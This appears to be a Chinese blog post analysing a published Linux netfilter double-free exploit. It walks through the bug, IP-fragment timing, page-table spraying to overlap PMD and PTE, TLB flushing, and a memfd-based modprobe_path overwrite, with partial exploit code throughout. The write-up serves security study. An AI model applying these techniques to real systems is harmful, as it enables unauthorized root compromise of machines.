非常精彩的利用文章。

Vulnerability

漏洞的成因是允许用户同时指定NF_DROPNF_ACCEPT值(即NF_DROP(1),这里的1本来应该是错误代码),内核在解析到NF_DROP后便会释放skb,但由于最后返回的却是NF_ACCEPTskb会继续留在内核网络栈上,随后又被释放,造成double free

// looping over existing rules when skb triggers chain
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
         const struct nf_hook_entries *e, unsigned int s)
{
    unsigned int verdict;
    int ret;
 
    for (; s < e->num_hook_entries; s++) {
        // malicious rule: verdict = 0xffff0000
        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);  
 
        // 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
        switch (verdict & NF_VERDICT_MASK) {  
        case NF_ACCEPT:
            break;
        case NF_DROP:
            // first free of double-free
            kfree_skb_reason(skb,
                     SKB_DROP_REASON_NETFILTER_DROP);  
            
            // NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)
            ret = NF_DROP_GETERR(verdict);  
            if (ret == 0)
                ret = -EPERM;
            
            // return NF_ACCEPT (continue packet handling)
            return ret;  
 
        // [snip] alternative verdict cases
        default:
            WARN_ON_ONCE(1);
            return 0;
        }
    }
 
    return 1;
}

该漏洞会同时释放掉两个结构体:struct sk_buffsk_buff->head,而sk_buff->head存放的是网络数据包的内容,大小是用户完全控制的,大小最大可以是16个页面。

Exploitation

Double Free

在两次free之间,需要喷大量的PTE,因此需要留出一定的时间窗口。然而,内核网络站本身时间窗口并不多,作者这里采用了IP分片技术,以延迟第二次free的时间。具体来讲:

iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag 
memset(iph1_body, 'A', 8); 
transmit(iph1, iph1_body, 8); 
 
iph2->len = sizeof(struct ip_header)*2 + 64; 
iph2->offset = ntohs(8 >> 3); // don't set IP_MF since this is the last packet 
memset(iph2_body, 'A', 56); 
transmit(iph2, iph2_body, 56);

设置IP_MF表示还有更多的数据。

内核中的选项/proc/sys/net/ipv4/ipfrag_time可以延长内核的等待时间。

DirtyPageDirectory

dirtypagetable会需要一个同样使用page_alloc分配的对象,例如/dev/dma_heap(在安卓不需要特权可行,但在一般的linux系统需要特权),io_uring,这里也需要实现cross cache攻击,其又会引入额外的不稳定因素。

dirtypagedirectory主要思路是造成PMDPTE的重叠。这样,给用户态分配的一个物理页实际上也作为PTE,从而允许用户任意修改虚拟内存映射,也就是可以任意修改物理页面,只读页面仍然可以修改。

Page Table Spraying

PTE页表可以通过mmap一个2M的虚拟内存,然后访问触发缺页异常来分配。PMD也是同样的道理,1G大小的虚拟内存来对应一个PMD所支持的内容。

#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
	((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
	_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))
 

这里的index可以和虚拟地址对应起来。

PCP list Draining

PTE是由page_alloc来分配的,阶为0,即一个表项。然而,kmalloc只有大于两个页面时,即阶>=1,才会转为使用page allocator来分配。

作者的方法是先分配一个四阶的页面,再通过喷PTE消耗掉当前PCPfreelist。由于无法知道什么时候freelist被消耗完,作者是喷了大量的PTE上去。

(图来自原文)

在喷PTE的时候,会将4阶的页面中拿掉,分配pages。从作者给的图里可以清楚地看到这部分逻辑。

Flush TLB

在做内核开发时,一个需要注意的事项就是页表修改后需要使用flushtls指令进行刷新。

exp中,将mmap的内存指定为共享页,fork出的子进程执行unmap操作来刷新TLB

static void flush_tlb(void *addr, size_t len)
{
	short *status;
 
	status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	
	*status = FLUSH_STAT_INPROGRESS;
	if (fork() == 0)
	{
		munmap(addr, len);
		*status = FLUSH_STAT_DONE;
		PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
		sleep(9999);
	}
 
	SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
 
	munmap(status, sizeof(short));
}

Trivia

相对来讲琐碎一点的细节…

Patches

modprobe

作者采用memfd,可以将内存的内容创建一个fd与之对应起来,modprobe_path如果指定到了这个fd的路径(从/proc/{pid}/fd/{mem_fd}中获取),就可以执行内存里的提权脚本。这种方法不需要创建文件,即便文件系统只读仍然有效。

Reference